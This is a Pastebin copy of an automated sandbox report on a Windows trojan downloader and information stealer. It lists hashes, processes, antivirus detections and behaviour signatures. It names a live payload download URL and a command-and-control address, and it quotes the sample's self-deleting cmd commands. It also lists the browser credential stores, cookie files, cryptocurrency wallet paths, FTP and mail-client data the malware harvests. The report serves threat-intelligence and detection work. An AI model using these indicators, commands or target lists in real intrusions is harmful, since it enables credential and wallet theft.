API tools faq
paste
paladin316

Exes_814a1a1490224b7fbe7d1a535f46ba85_exe_2019-07-09_18_30.txt

paladin316
Jul 9th, 2019
2,199
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 45.57 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Malicious"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Exes_814a1a1490224b7fbe7d1a535f46ba85.exe"
  7. * File Size: 452608
  8. * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed"
  9. * SHA256: "6a09d6c6500cc26a5050cabfa6b576fd67cedac1ec838eee415fb0bcff02c34a"
  10. * MD5: "814a1a1490224b7fbe7d1a535f46ba85"
  11. * SHA1: "d1d1b3816e2677aa08a61bb858e47854ef0e662d"
  12. * SHA512: "ed557c777749dd09fcbfc5ed91506f704ab1f536940d44655832df8e71922a380d84d15a37ee03a8e19b94bb4ba7f6de80e2562717752523e26032d7781b77da"
  13. * CRC32: "0C6F8C1E"
  14. * SSDEEP: "12288:PYV6MorX7qzuC3QHO9FQVHPF51jgcEDc8P:cBXu9HGaVHSc8P"
  15.  
  16. * Process Execution:
  17. "Exes_814a1a1490224b7fbe7d1a535f46ba85.exe",
  18. "dfiuwejksdadfjhewkjsaq.exe",
  19. "cmd.exe",
  20. "timeout.exe",
  21. "cmd.exe",
  22. "PING.EXE",
  23. "services.exe",
  24. "taskhost.exe",
  25. "svchost.exe",
  26. "WerFault.exe",
  27. "wermgr.exe",
  28. "sc.exe",
  29. "svchost.exe"
  30.  
  31.  
  32. * Executed Commands:
  33. "\"C:\\Windows\\system32\\rundll32.exe\" \"C:\\Windows\\syswow64\\WININET.dll\",DispatchAPICall 1",
  34. "C:\\Users\\user\\AppData\\Local\\Temp\\dfiuwejksdadfjhewkjsaq.exe",
  35. "\"C:\\Windows\\system32\\cmd.exe\" /k ping 0 & del C:\\Users\\user\\AppData\\Local\\Temp\\Exes_814a1a1490224b7fbe7d1a535f46ba85.exe & exit",
  36. "C:\\Windows\\System32\\cmd.exe /k ping 0 & del C:\\Users\\user\\AppData\\Local\\Temp\\Exes_814a1a1490224b7fbe7d1a535f46ba85.exe & exit",
  37. "C:\\Windows\\System32\\cmd.exe /c C:\\Windows\\system32\\timeout.exe 3 & del \"dfiuwejksdadfjhewkjsaq.exe\"",
  38. "C:\\Windows\\system32\\lsass.exe",
  39. "taskhost.exe $(Arg0)",
  40. "C:\\Windows\\system32\\sc.exe start w32time task_started",
  41. "C:\\Windows\\System32\\svchost.exe -k WerSvcGroup",
  42. "C:\\Windows\\system32\\svchost.exe -k LocalService",
  43. "C:\\Windows\\system32\\timeout.exe 3",
  44. "C:\\Windows\\system32\\PING.EXE ping 0",
  45. "C:\\Windows\\system32\\WerFault.exe -u -p 372 -s 292",
  46. "\"C:\\Windows\\system32\\wermgr.exe\" \"-queuereporting_svc\" \"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_eb71ef964c95de5826f5dbf6417783430b96dd1_cab_0b84d553\""
  47.  
  48.  
  49. * Signatures Detected:
  50.  
  51. "Description": "At least one process apparently crashed during execution",
  52. "Details":
  53.  
  54.  
  55. "Description": "Attempts to connect to a dead IP:Port (1 unique times)",
  56. "Details":
  57.  
  58. "IP": "151.139.128.14:80"
  59.  
  60.  
  61.  
  62.  
  63. "Description": "Creates RWX memory",
  64. "Details":
  65.  
  66.  
  67. "Description": "A process created a hidden window",
  68. "Details":
  69.  
  70. "Process": "Exes_814a1a1490224b7fbe7d1a535f46ba85.exe -> C:\\Windows\\System32\\cmd.exe"
  71.  
  72.  
  73. "Process": "dfiuwejksdadfjhewkjsaq.exe -> C:\\Windows\\System32\\cmd.exe"
  74.  
  75.  
  76.  
  77.  
  78. "Description": "Drops a binary and executes it",
  79. "Details":
  80.  
  81. "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\dfiuwejksdadfjhewkjsaq.exe"
  82.  
  83.  
  84.  
  85.  
  86. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  87. "Details":
  88.  
  89. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  90.  
  91.  
  92. "ip_hostname": "HTTP connection was made to an IP address rather than domain name"
  93.  
  94.  
  95. "suspicious_request": "http://92.63.192.125/index.php"
  96.  
  97.  
  98. "suspicious_request": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D"
  99.  
  100.  
  101. "suspicious_request": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCECsuburZdTZsFIpu26N8jAc%3D"
  102.  
  103.  
  104. "suspicious_request": "http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg"
  105.  
  106.  
  107.  
  108.  
  109. "Description": "Performs some HTTP requests",
  110. "Details":
  111.  
  112. "url": "http://moneybanda.info/files/eupool3/0sdaeur.exe"
  113.  
  114.  
  115. "url": "http://92.63.192.125/index.php"
  116.  
  117.  
  118. "url": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D"
  119.  
  120.  
  121. "url": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCECsuburZdTZsFIpu26N8jAc%3D"
  122.  
  123.  
  124. "url": "http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg"
  125.  
  126.  
  127.  
  128.  
  129. "Description": "The binary likely contains encrypted or compressed data.",
  130. "Details":
  131.  
  132. "section": "name: UPX1, entropy: 7.94, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00056400, virtual_size: 0x00057000"
  133.  
  134.  
  135. "section": "name: .rsrc, entropy: 7.95, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00018000, virtual_size: 0x00018000"
  136.  
  137.  
  138.  
  139.  
  140. "Description": "The executable is compressed using UPX",
  141. "Details":
  142.  
  143. "section": "name: UPX0, entropy: 0.00, characteristics: IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00000000, virtual_size: 0x00099000"
  144.  
  145.  
  146.  
  147.  
  148. "Description": "Deletes its original binary from disk",
  149. "Details":
  150.  
  151.  
  152. "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
  153. "Details":
  154.  
  155. "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 11206499 times"
  156.  
  157.  
  158. "Spam": "dfiuwejksdadfjhewkjsaq.exe (2052) called API GlobalMemoryStatus 416539 times"
  159.  
  160.  
  161.  
  162.  
  163. "Description": "Steals private information from local Internet browsers",
  164. "Details":
  165.  
  166. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  167.  
  168.  
  169. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  170.  
  171.  
  172. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  173.  
  174.  
  175. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  176.  
  177.  
  178. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  179.  
  180.  
  181. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  182.  
  183.  
  184. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  185.  
  186.  
  187. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  188.  
  189.  
  190. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  191.  
  192.  
  193. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  194.  
  195.  
  196. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data"
  197.  
  198.  
  199. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  200.  
  201.  
  202. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  203.  
  204.  
  205. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  206.  
  207.  
  208. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  209.  
  210.  
  211. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History"
  212.  
  213.  
  214. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  215.  
  216.  
  217. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  218.  
  219.  
  220. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"
  221.  
  222.  
  223. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\[email protected]"
  224.  
  225.  
  226.  
  227.  
  228. "Description": "Network activity contains more than one unique useragent.",
  229. "Details":
  230.  
  231. "Process": "Exes_814a1a1490224b7fbe7d1a535f46ba85.exe"
  232.  
  233.  
  234. "User-Agent": "AutoIt"
  235.  
  236.  
  237. "Process": "dfiuwejksdadfjhewkjsaq.exe"
  238.  
  239.  
  240. "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)"
  241.  
  242.  
  243.  
  244.  
  245. "Description": "Collects information about installed applications",
  246. "Details":
  247.  
  248. "Program": "Google Update Helper"
  249.  
  250.  
  251.  
  252.  
  253. "Program": "Microsoft Excel MUI 2013"
  254.  
  255.  
  256. "Program": "Microsoft Outlook MUI 2013"
  257.  
  258.  
  259.  
  260.  
  261. "Program": "Google Chrome"
  262.  
  263.  
  264. "Program": "Adobe Flash Player 29 NPAPI"
  265.  
  266.  
  267. "Program": "Adobe Flash Player 29 ActiveX"
  268.  
  269.  
  270. "Program": "Microsoft DCF MUI 2013"
  271.  
  272.  
  273. "Program": "Microsoft Access MUI 2013"
  274.  
  275.  
  276. "Program": "Microsoft Office Proofing Tools 2013 - English"
  277.  
  278.  
  279. "Program": "Adobe Acrobat Reader DC"
  280.  
  281.  
  282. "Program": "Microsoft Publisher MUI 2013"
  283.  
  284.  
  285. "Program": "Microsoft Office Shared MUI 2013"
  286.  
  287.  
  288. "Program": "Microsoft Office OSM MUI 2013"
  289.  
  290.  
  291. "Program": "Microsoft InfoPath MUI 2013"
  292.  
  293.  
  294. "Program": "Microsoft Office Shared Setup Metadata MUI 2013"
  295.  
  296.  
  297. "Program": "Outils de v\\xc3\\xa9rification linguistique 2013 de Microsoft Office\\xc2\\xa0- Fran\\xc3\\xa7ais"
  298.  
  299.  
  300. "Program": "Microsoft Word MUI 2013"
  301.  
  302.  
  303. "Program": "Microsoft OneDrive"
  304.  
  305.  
  306. "Program": "Microsoft Groove MUI 2013"
  307.  
  308.  
  309. "Program": "Microsoft Office Proofing Tools 2013 - Espa\\xc3\\xb1ol"
  310.  
  311.  
  312.  
  313.  
  314. "Program": "Microsoft Access Setup Metadata MUI 2013"
  315.  
  316.  
  317. "Program": "Microsoft Office OSM UX MUI 2013"
  318.  
  319.  
  320. "Program": "Java Auto Updater"
  321.  
  322.  
  323. "Program": "Microsoft PowerPoint MUI 2013"
  324.  
  325.  
  326. "Program": "Microsoft Office Professional Plus 2013"
  327.  
  328.  
  329. "Program": "Adobe Refresh Manager"
  330.  
  331.  
  332. "Program": "Microsoft Office Proofing 2013"
  333.  
  334.  
  335. "Program": "Microsoft Lync MUI 2013"
  336.  
  337.  
  338.  
  339.  
  340. "Program": "Microsoft OneNote MUI 2013"
  341.  
  342.  
  343.  
  344.  
  345. "Description": "Creates a hidden or system file",
  346. "Details":
  347.  
  348. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low"
  349.  
  350.  
  351.  
  352.  
  353. "Description": "File has been identified by 46 Antiviruses on VirusTotal as malicious",
  354. "Details":
  355.  
  356. "MicroWorld-eScan": "Trojan.GenericKD.32093331"
  357.  
  358.  
  359. "FireEye": "Trojan.GenericKD.32093331"
  360.  
  361.  
  362. "CAT-QuickHeal": "Trojan.Script"
  363.  
  364.  
  365. "McAfee": "RDN/Generic Downloader.x"
  366.  
  367.  
  368. "Cylance": "Unsafe"
  369.  
  370.  
  371. "Alibaba": "Trojan:Win32/Autoit.ali2000008"
  372.  
  373.  
  374. "K7GW": "Trojan-Downloader ( 005512001 )"
  375.  
  376.  
  377. "K7AntiVirus": "Trojan-Downloader ( 005512001 )"
  378.  
  379.  
  380. "Arcabit": "Trojan.Generic.D1E9B493"
  381.  
  382.  
  383. "Invincea": "heuristic"
  384.  
  385.  
  386. "Symantec": "Trojan.Gen.MBT"
  387.  
  388.  
  389. "APEX": "Malicious"
  390.  
  391.  
  392. "Paloalto": "generic.ml"
  393.  
  394.  
  395. "Kaspersky": "HEUR:Trojan.Script.Generic"
  396.  
  397.  
  398. "BitDefender": "Trojan.GenericKD.32093331"
  399.  
  400.  
  401. "NANO-Antivirus": "Trojan.Win32.Autoit.fsmqjh"
  402.  
  403.  
  404. "AegisLab": "Trojan.Script.Generic.4!c"
  405.  
  406.  
  407. "Ad-Aware": "Trojan.GenericKD.32093331"
  408.  
  409.  
  410. "Emsisoft": "Trojan.GenericKD.32093331 (B)"
  411.  
  412.  
  413. "DrWeb": "Trojan.DownLoader29.29849"
  414.  
  415.  
  416. "TrendMicro": "TROJ_GEN.R020C0PFU19"
  417.  
  418.  
  419. "McAfee-GW-Edition": "BehavesLike.Win32.Downloader.gc"
  420.  
  421.  
  422. "Trapmine": "malicious.high.ml.score"
  423.  
  424.  
  425. "Sophos": "Mal/Generic-S"
  426.  
  427.  
  428. "SentinelOne": "DFI - Suspicious PE"
  429.  
  430.  
  431. "Cyren": "W32/Trojan.WLGQ-6033"
  432.  
  433.  
  434. "Jiangmin": "Trojan.Script.aizr"
  435.  
  436.  
  437. "Webroot": "W32.Trojan.GenKD"
  438.  
  439.  
  440. "Avira": "HEUR/AGEN.1039563"
  441.  
  442.  
  443. "Microsoft": "Trojan:Win32/Conteban.B!ml"
  444.  
  445.  
  446. "Endgame": "malicious (moderate confidence)"
  447.  
  448.  
  449. "ZoneAlarm": "HEUR:Trojan.Script.Generic"
  450.  
  451.  
  452. "GData": "Trojan.GenericKD.32093331"
  453.  
  454.  
  455. "AhnLab-V3": "Malware/Win32.Generic.C3316383"
  456.  
  457.  
  458. "ALYac": "Trojan.GenericKD.32093331"
  459.  
  460.  
  461. "ESET-NOD32": "a variant of Win32/TrojanDownloader.Autoit.OTZ"
  462.  
  463.  
  464. "TrendMicro-HouseCall": "TROJ_GEN.R020C0PFU19"
  465.  
  466.  
  467. "Rising": "Trojan.Win32.Agent_.sa (CLASSIC)"
  468.  
  469.  
  470. "Ikarus": "Trojan-Downloader.Win32.AutoIt"
  471.  
  472.  
  473. "Fortinet": "W32/Autoit.OTZ!tr.dldr"
  474.  
  475.  
  476. "MaxSecure": "Trojan.Malware.1726719.susgen"
  477.  
  478.  
  479. "AVG": "Win32:Trojan-gen"
  480.  
  481.  
  482. "Cybereason": "malicious.16e267"
  483.  
  484.  
  485. "Avast": "Win32:Trojan-gen"
  486.  
  487.  
  488. "CrowdStrike": "win/malicious_confidence_80% (W)"
  489.  
  490.  
  491. "Qihoo-360": "Win32/Trojan.Script.ed4"
  492.  
  493.  
  494.  
  495.  
  496. "Description": "Checks the CPU name from registry, possibly for anti-virtualization",
  497. "Details":
  498.  
  499.  
  500. "Description": "Checks the system manufacturer, likely for anti-virtualization",
  501. "Details":
  502.  
  503.  
  504. "Description": "Attempts to modify proxy settings",
  505. "Details":
  506.  
  507.  
  508. "Description": "Attempts to access Bitcoin/ALTCoin wallets",
  509. "Details":
  510.  
  511. "file": "C:\\Users\\user\\AppData\\Roaming\\Sun\\wallets\\wallet.dat"
  512.  
  513.  
  514. "file": "C:\\Users\\user\\AppData\\Roaming\\Adobe\\wallets\\wallet.dat"
  515.  
  516.  
  517. "file": "C:\\Users\\user\\AppData\\Roaming\\Adobe\\wallet.dat"
  518.  
  519.  
  520. "file": "C:\\Users\\user\\AppData\\Roaming\\Notepad++\\wallets\\wallet.dat"
  521.  
  522.  
  523. "file": "C:\\Users\\user\\AppData\\Roaming\\Sun\\wallet.dat"
  524.  
  525.  
  526. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\wallets\\wallet.dat"
  527.  
  528.  
  529. "file": "C:\\Users\\user\\AppData\\Roaming\\wallets\\wallet.dat"
  530.  
  531.  
  532. "file": "C:\\Users\\user\\AppData\\Roaming\\Identities\\wallets\\wallet.dat"
  533.  
  534.  
  535. "file": "C:\\Users\\user\\AppData\\wallets\\wallet.dat"
  536.  
  537.  
  538. "file": "C:\\Users\\user\\AppData\\Roaming\\Macromedia\\wallet.dat"
  539.  
  540.  
  541. "file": "C:\\Users\\user\\AppData\\Roaming\\Macromedia\\wallets\\wallet.dat"
  542.  
  543.  
  544. "file": "C:\\Users\\user\\AppData\\wallet.dat"
  545.  
  546.  
  547. "file": "C:\\Users\\user\\AppData\\Roaming\\wallet.dat"
  548.  
  549.  
  550. "file": "C:\\Users\\user\\AppData\\Roaming\\Notepad++\\wallet.dat"
  551.  
  552.  
  553. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\wallet.dat"
  554.  
  555.  
  556. "file": "C:\\Users\\user\\AppData\\Roaming\\Identities\\wallet.dat"
  557.  
  558.  
  559. "file": "C:\\Users\\user\\AppData\\Roaming\\Electrum\\wallets\\*"
  560.  
  561.  
  562.  
  563.  
  564. "Description": "Harvests credentials from local FTP client softwares",
  565. "Details":
  566.  
  567. "file": "C:\\Users\\user\\AppData\\Roaming\\filezilla\\recentservers.xml"
  568.  
  569.  
  570.  
  571.  
  572. "Description": "Harvests information related to installed instant messenger clients",
  573. "Details":
  574.  
  575. "file": "C:\\Users\\user\\AppData\\Roaming\\.purple\\accounts.xml"
  576.  
  577.  
  578.  
  579.  
  580. "Description": "Harvests information related to installed mail clients",
  581. "Details":
  582.  
  583. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook"
  584.  
  585.  
  586. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook"
  587.  
  588.  
  589. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7"
  590.  
  591.  
  592. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001"
  593.  
  594.  
  595. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046"
  596.  
  597.  
  598. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326"
  599.  
  600.  
  601. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001"
  602.  
  603.  
  604. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\Email"
  605.  
  606.  
  607. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
  608.  
  609.  
  610. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259"
  611.  
  612.  
  613. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\Email"
  614.  
  615.  
  616. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff"
  617.  
  618.  
  619. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e"
  620.  
  621.  
  622. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook"
  623.  
  624.  
  625. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046"
  626.  
  627.  
  628. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2"
  629.  
  630.  
  631. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670"
  632.  
  633.  
  634. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604"
  635.  
  636.  
  637. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1"
  638.  
  639.  
  640. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a"
  641.  
  642.  
  643. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002"
  644.  
  645.  
  646.  
  647.  
  648. "Description": "Collects information to fingerprint the system",
  649. "Details":
  650.  
  651.  
  652. "Description": "Created network traffic indicative of malicious activity",
  653. "Details":
  654.  
  655. "signature": "ET CURRENT_EVENTS Potential Dridex.Maldoc Minimal Executable Request"
  656.  
  657.  
  658. "signature": "ET TROJAN Generic - POST To .php w/Extended ASCII Characters (Likely Zeus Derivative)"
  659.  
  660.  
  661. "signature": "ET DNS Query for .su TLD (Soviet Union) Often Malware Related"
  662.  
  663.  
  664.  
  665.  
  666.  
  667. * Started Service:
  668. "VaultSvc",
  669. "WerSvc",
  670. "W32Time"
  671.  
  672.  
  673. * Mutexes:
  674. "A81FB8C60-BBE6E186-FC9B5DB5-36DA4559-33946726",
  675. "Local\\WERReportingForProcess372",
  676. "Global\\\\xe5\\x88\\x90\\xc2\\x9d",
  677. "Global\\\\xed\\x95\\xb0\\xc7\\x95",
  678. "WERUI_BEX64-eb71ef964c95de5826f5dbf6417783430b96dd1"
  679.  
  680.  
  681. * Modified Files:
  682. "C:\\Users\\user\\AppData\\Local\\Temp\\dfiuwejksdadfjhewkjsaq.exe",
  683. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4",
  684. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4",
  685. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220",
  686. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220",
  687. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_99D41F4D77B8F7BB12F6EE812A503A28",
  688. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_99D41F4D77B8F7BB12F6EE812A503A28",
  689. "C:\\temp.png",
  690. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-console-l1-1-0.dll",
  691. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-datetime-l1-1-0.dll",
  692. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-debug-l1-1-0.dll",
  693. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-errorhandling-l1-1-0.dll",
  694. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-file-l1-1-0.dll",
  695. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-file-l1-2-0.dll",
  696. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-file-l2-1-0.dll",
  697. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-handle-l1-1-0.dll",
  698. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-heap-l1-1-0.dll",
  699. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-interlocked-l1-1-0.dll",
  700. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-libraryloader-l1-1-0.dll",
  701. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-localization-l1-2-0.dll",
  702. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-memory-l1-1-0.dll",
  703. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-namedpipe-l1-1-0.dll",
  704. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-processenvironment-l1-1-0.dll",
  705. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-processthreads-l1-1-0.dll",
  706. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-processthreads-l1-1-1.dll",
  707. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-profile-l1-1-0.dll",
  708. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-rtlsupport-l1-1-0.dll",
  709. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-string-l1-1-0.dll",
  710. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-synch-l1-1-0.dll",
  711. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-synch-l1-2-0.dll",
  712. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-sysinfo-l1-1-0.dll",
  713. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-timezone-l1-1-0.dll",
  714. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-util-l1-1-0.dll",
  715. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-conio-l1-1-0.dll",
  716. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-convert-l1-1-0.dll",
  717. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-environment-l1-1-0.dll",
  718. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-filesystem-l1-1-0.dll",
  719. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-heap-l1-1-0.dll",
  720. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-locale-l1-1-0.dll",
  721. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-math-l1-1-0.dll",
  722. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-multibyte-l1-1-0.dll",
  723. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-private-l1-1-0.dll",
